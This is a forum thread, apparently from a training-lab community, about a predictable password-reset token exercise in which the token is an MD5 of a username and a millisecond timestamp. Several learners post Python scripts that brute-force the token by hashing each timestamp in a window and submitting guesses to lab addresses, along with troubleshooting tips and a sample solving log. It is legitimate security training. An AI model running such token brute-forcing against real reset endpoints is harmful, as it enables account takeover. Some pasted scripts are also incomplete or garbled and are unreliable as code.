Broken Authentication - Predictable Reset Token - Question 1

this is the script i have come up with but does not seem to be working can someone tell me what I am doing wrong?

Hello I think your script is correct, I have same issue because Apache OpenMeeting bug takes (username+timestamp) and md5. Anyone who solves this challenge could help?

I don´t know why, but it is not working on MacOS. I used exactly same python code on parrot linux virtual machine and same code worked like a charm. Note that i remove threads to code for get it working. First i thought it was a timezone problem, but i solved timezone diference and still not working until i used parrot virtual machine from academy web access.

Use Python2 not Python3

Try Python 2

Thank you!

Hi all,

I think I am having similar issues here.
I altered the script a bit to provide the Epoch time in mil-seconds.

I haven’t gotten an error/failed yet and script has been running for a while now.

Can I get an recommendations or heads up?

#!/usr/bin/python3
from hashlib import md5
import requests
from sys import exit
from time import time

# Change the url to your target / victim
url = "http://{IP}:PORT/question1/"


# To have a wide window try to bruteforce starting from 1050 seconds ago till 1050 seconds after.
# Change now and username variables as needed. IMPORTANT! the value fornow has to be epoch time

# stamp in milliseconds, example 1654627487000 and not epoch timestamp,example 1654627487.


now        = 1710817879000
start_time = 1710817877000 #-2 seconds
end_time   = 1710817881000 #+2 seconds
fail_text  = "Wrong token"
username   = "htbadmin"

# loop from start_time to now. + 1 is needed because of how range() works
for x in range(start_time, end_time + 1):

    # get token md5
    timestamp = str(x)
    md5_token = md5((username+timestamp).encode()).hexdigest()
    data = {

        "submit": "check",

        "token": md5_token
    }

    print("checking {} {}".format(str(x), md5_token))

    # send the request
    res = requests.post(url, data=data)

    # response text check
    if not fail_text in res.text:

        print(res.text)
        print("[*] Congratulations! raw reply printed before")
        exit()

I’ve provided comments displaying what I changed & why :slight_smile:

Update:

Never got error, script just ended :confused:

Solved!!!

. . . . embarrassingly I had burp on, and it was interfering with the calls from the script.

All is good now :slight_smile:
hope my script helps someone!

NOTE: make sure burp proxy is off during FUZZ!

Spend 3 day on this: For anyone struggling, the clue is: This date is kinda/sorta (+/- approximate seed) of your brute force. If you are wondering why “start_time = now - 120 secs” is in the script, it is there for reason, cast your window of attack even wider and be patient. See how many approximate rounds it took me to hit jackpot, otherwise you will spend 3+ days re-writing the script and ending up with the same algorithm, that is my script ended up way overkill. The lesson here is that developers like playing whac-a-mole with time. Stick to the instructions and hint of the question.

Date : Wed, 27 Mar 2024 05:00:14 GMT
Server : Apache/2.4.46 (Unix)
X-Powered-By : PHP/7.4.16
Content-Length : 1874
Keep-Alive : timeout=5, max=100
Connection : Keep-Alive
Content-Type : text/html; charset=UTF-8

Your token is: ff8eab244c6a03b2d88193ce0026ff6b And has been created at 2024-03-27 05:00:14am

Response Header: Wed, 27 Mar 2024 05:00:14 GMT

Date ObjectL 2024-03-27 05:00:14

Epoch in seconds: 1711515614

Epoch in milliseconds: 1711515614000

User: htbadmin

checking 1:1711515612950 9a906c6bb040b335ea118229b9fc6e5b
checking 2:1711515612951 bbc897d34435714d56ca960ebffc8bd4
checking 3:1711515612952 985fc89dc2386cae0b75554e64c1372a
checking 4:1711515612953 fdff508811b43b6f99384f183f657555
checking 5:1711515612954 06ec7c35e05d79531e95cf28fb6e2eaf
checking 6:1711515612955 d62dcdab52bdff036eb8239512bffded
.
.
.
.
checking 1552:1711515614501 c7940e3a03ca89f6b0b23aaeb54385e7
checking 1553:1711515614502 b488cfa4d73c86af995968d3c115690a
checking 1554:1711515614503 e38bdc08478d2692b114aff1f2e729ee
checking 1555:1711515614504 7c54ac234767203a0e9b6b89cde7c37f
checking 1556:1711515614505 da18bf014101a26da4a38bba4576e4cf

Great work, your flag is HTB{***********************}
[*] Congratulations! raw reply printed before

Dear all,

As to my experience the time window/range in the loop shouldn’t be that big. In my case, surprisingly, looking around the local time got me to the answer and not the machine(web server) time.

I mean the time that I saw in my PwnBox Linux and not the time shown on the browser under the token. Although the PwnBox local time had 1h difference the local time helped me get the answer.

Either the algorithm uses the local user time or there is a 1 hour delay in generating the token which seems a little improbable!!! Have programmer done sth wrong or is it on purpose???!!! I don’t know!

Another silly mistake for me was the order of username and timestamp inside hash function which matters but took me 1 day to discover. :wink:

Hopefully, it helps sb.

Hey brother, I’m kinda stuck on this same thing can I DM you to assist me further with this module ?

1 Like

Hi sir!!

Apologies as It’s been min by min today. I’ll come back and address this when I get a chance. Promise!!

1 Like

Of course DM me and I’ll adress when I can :smiling_face:

1 Like

Dm me on discord if you can my handle: theran93r
or give me your handle i’ll dm you

I can’t finis the question 1. The script is checkin but doesnt find nothing. Can you help me?

I know that date in the VM and the Web app is differente in 1 hour:
Pc: date -d ‘05/22/2024 17:34:25’ +“%s” → 1716395665
Web: Your token is: 4173a369cacaaaaf0857b6871384c49c
And has been created at 2024-05-22 04:22:02pm
date -d ‘05/22/2024 16:34:25’ +“%s” → 1716392065

Then i do mi code and the start time is less 1 hour.

I tried with python3, python2, with and hour more or less and nothing.

Code:

from hashlib import md5
import requests
from sys import exit
from time import time

url = “http://94.237.53.103:49560/question1/”

now = 1716395665000
start_time = now - 3800000
fail_text = “Wrong token”

username = “htbadmin”

md5_token = md5((username + str(x)).encode()).hexdigest()
data = {
    "submit": "check",
    "token": md5_token
}

print("checking {} {}".format(str(x), md5_token))

res = requests.post(url, data=data)

if not fail_text in res.text:
    print(res.text)
    print("[*] Congratulations! raw reply printed before")
    exit()

I had a lot of trouble when I did this one, too.
What got me past it eventually was this:

  • I needed to account for timezone difference between me and the server. When I modified the code to do this, the adjustment actually was backwards from what it seemed should have been.
  • Check every possible millisecond between now +/- 2s roughly.

Also, your post doesn’t show valid python code. If you want anyone to be able to help, you’ll need to post the code you’re using (or at least parts of it)

Hope that helps

Solved.

Two tips:

  1. Use python2 (i dont know the reason but It works).
  2. Use the time showed by web app generating token. The hour is different in the HTB machine, then now() doesn’t work.

Hello guys I am also stucked in this question for quiet a while now,

below is the script am using, the code run and end by itself and I get no result at all, help please

from hashlib import md5
import requests
from sys import exit
import time
from datetime import datetime

url = “http://83.136.249.173:39825/question1/”
time_str = “2024-05-27 12:54:21pm”

Convert the string to a datetime object

dt_object = datetime.strptime(time_str, ‘%Y-%m-%d %I:%M:%S%p’)

Convert the datetime object to epoch time in seconds (Python 2 compatible)

epoch_time_seconds = int(time.mktime(dt_object.timetuple()))

Convert epoch time to milliseconds

epoch_time_milliseconds = epoch_time_seconds * 1000

start_time = epoch_time_milliseconds - 1200
end_time = epoch_time_milliseconds + 1200

username = “htbadmin”
fail_text = “Wrong token”

Loop from start_time to now. + 1 is needed because of how range() works

for x in range(start_time, end_time + 1):
# Get token md5
md5_token = md5((username + str(x)).encode()).hexdigest()
data = {
“submit”: “check”,
“token”: md5_token
}

print("Checking {} {}".format(str(x), md5_token))

# Send the request
res = requests.post(url, data=data)

# Response text check
if not fail_text in res.text:
    print(res.text)
    print("[*] Congratulations! Raw reply printed before")
    exit()